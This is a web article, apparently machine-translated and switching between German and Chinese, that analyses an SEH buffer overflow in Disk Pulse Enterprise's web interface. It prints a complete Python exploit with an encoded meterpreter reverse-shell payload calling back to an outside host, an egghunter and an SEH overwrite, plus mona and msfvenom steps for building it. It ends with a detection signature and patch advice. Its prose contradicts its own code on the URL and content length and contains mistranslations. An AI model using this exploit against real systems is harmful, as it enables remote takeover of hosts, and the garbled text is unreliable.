Heim > Artikel > Betrieb und Instandhaltung > So implementieren Sie eine Schwachstellenanalyse der Disk Pulse Enterprise Window-Anwendung
Disk Pulse Enterprise ist eine Software, die Festplattenänderungen überwacht. Sie kann die Software über einen Verwaltungsport 9120 oder ein Webverwaltungsfenster 80 verbinden und verwalten, um Festplattenänderungen zu überwachen. In Disk Pulse Enterprise gibt es eine dynamische Linkbibliothek, die einige für HTTP-Vorgänge verantwortliche Funktionen enthält. Das Problem tritt bei der Verarbeitung der Postdaten auf, da es keine strikte Längenkontrolle für die Postdaten gibt. Dies führt zu einem Pufferüberlauf, der durch das Kopieren von Daten in den ungültigen Speicher beim Ausführen der erfassten Daten verursacht wird, wodurch eine SEH-Verarbeitung mit abnormalem Verhalten ausgelöst wird und schließlich EIP gesteuert wird, um beliebigen Code auszuführen.
Software-Download-Link: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22b. ff 5e86409a451-diskpulseent_setup_v9. 0.34 .exe)
Adresse zur Offenlegung von Sicherheitslücken: https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452)
Windows 7 x86: Systemumgebung
IDA Pro: statisches Analysetool
Immune Debugger: dedizierter Debugger für Schwachstellenanalyse
WinDbg: Schwachstellen-Debugger
Werfen wir einen kurzen Blick auf die Erstens handelt es sich bei POC um eine relativ umfassende Pufferüberlauf-Schwachstelle. In diesem Artikel werden der strukturierte Ausnahmehandler von SEH und die Egghunter-Technologie besprochen.
Wer mit der Programmierung vertraut ist, ist möglicherweise mit der strukturierten Ausnahmebehandlung (SEH) vertraut, einem Fenstermechanismus zur Behandlung von Hardware- und Softwareausnahmen. Es wird normalerweise als Try/Catch-Block aus Try/Divide-Summen ausgedrückt.
Einfach ausgedrückt handelt es sich um eine Adressierungstechnik, die Shellcode ausführt, indem sie eine Markierung entwirft und zur Position einer anderen Markierung springt. Die Egghunter-Technik ist erforderlich, wenn der Shellcode nicht im Puffer gespeichert werden kann.
Lassen Sie uns zunächst den POC analysieren
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
Der Angreifer hat ein http-Anfragepaket erstellt. Es ist ersichtlich, dass die Post-Anfrage die URL /login ist und die Inhaltslänge 17000 beträgt. Es wurden 12292 „x41“ Bytes gesendet, dann wurden 8 Bytes „w00tw00t“ gesendet, danach wurden 20 „X90“ NOP-Bytes gesendet, danach wurde der Buf gesendet, plus 50 NOPs, 1614 „X42“. Als nächstes folgt der Ausnahmebehandlungsmechanismus von SEH (Studenten, die nicht viel wissen, können mehr darüber lernen) und dann den Egghunter-Ausführungscode, was ungefähr bedeutet, dass man zur Ausführung an eine Stelle springt, die doppeltes „w00t“ enthält. Jetzt muss nur noch der Puffer gefüllt werden.
Als nächstes verwenden wir Wen DBG, um die Anwendung mit der anfälligen Version zu öffnen.
Senden Sie die Nutzlast und lösen Sie die Schwachstelle aus. Geben Sie g ein, die Rücksprungadresse wird überschrieben und kb schaut sich den Stapel der Aufrufe an.
Hier wird die GetNextString-Funktion von SCA_HttpParser von libspp.dll aufgerufen. Als nächstes tritt das Programm in die SHE-Verarbeitung für abnormales Verhalten ein und erreicht die Codeausführung durch Überschreiben des SEH-Handlers.
Öffnen Sie IDA und analysieren Sie Punkt 10092822. Die SCA_HttpParse-Klasse in libspp ist für die Verarbeitung einiger HTTP-bezogener Vorgänge verantwortlich. Es gibt eine Funktion namens ExtractPostData, die für die Verarbeitung der Post-Daten verantwortlich ist. Die Eintragsadresse dieser Funktion lautet 10092510 Beachten Sie, dass er vollständig übergeben wird.
Setzen Sie hier die Einzelschrittverfolgung fort und erreichen Sie die zuvor erwähnte GetNetString-Funktion.
Diese Funktion hat eine Aufgabe: Sie teilt den ersten Parameter, bei dem es sich um die späteren Daten handelt, und trennt jeden Teil für die spätere Verarbeitung. Schritt für Schritt können Sie sehen, wann Sie GetNextString zum ersten Mal eingeben. Die ersten Daten wurden aufgeteilt.
Der Benutzername wird zum ersten Mal getrennt. Geben Sie als Nächstes erneut GetNextString ein, um mit der Aufteilung der zweiten Zeichenfolge zu beginnen.
这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
之后看一下ECX的值
CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
再来看一下GetNextString函数的伪代码。
首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。
我们需要找到SHE的偏移量。
利用蒙娜丽莎命令生成20000个字符
!mona pattern_create 20000
运行完在C:\日志\ FTPServer的\ pattern.txt中找到。
重启程序,将其加入到脚本中的BUF中运行
使用蒙娜丽莎命令来寻找SEH偏移量
!mona findmsp
查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下来,要寻找pop pop ret的地址
使用!mona seh
打开seh.txt日志查找指向POP POP RET序列的代码块地址。
设置的shellcode里面的
nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。
重启程序,打开的Metasploit
选择开发模式
输入命令,设置参数
发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。
请求方式:POST
请求路径:/登录
漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |
升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。
下载地址:https://www.diskpulse.com/downloads.html
Das obige ist der detaillierte Inhalt vonSo implementieren Sie eine Schwachstellenanalyse der Disk Pulse Enterprise Window-Anwendung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!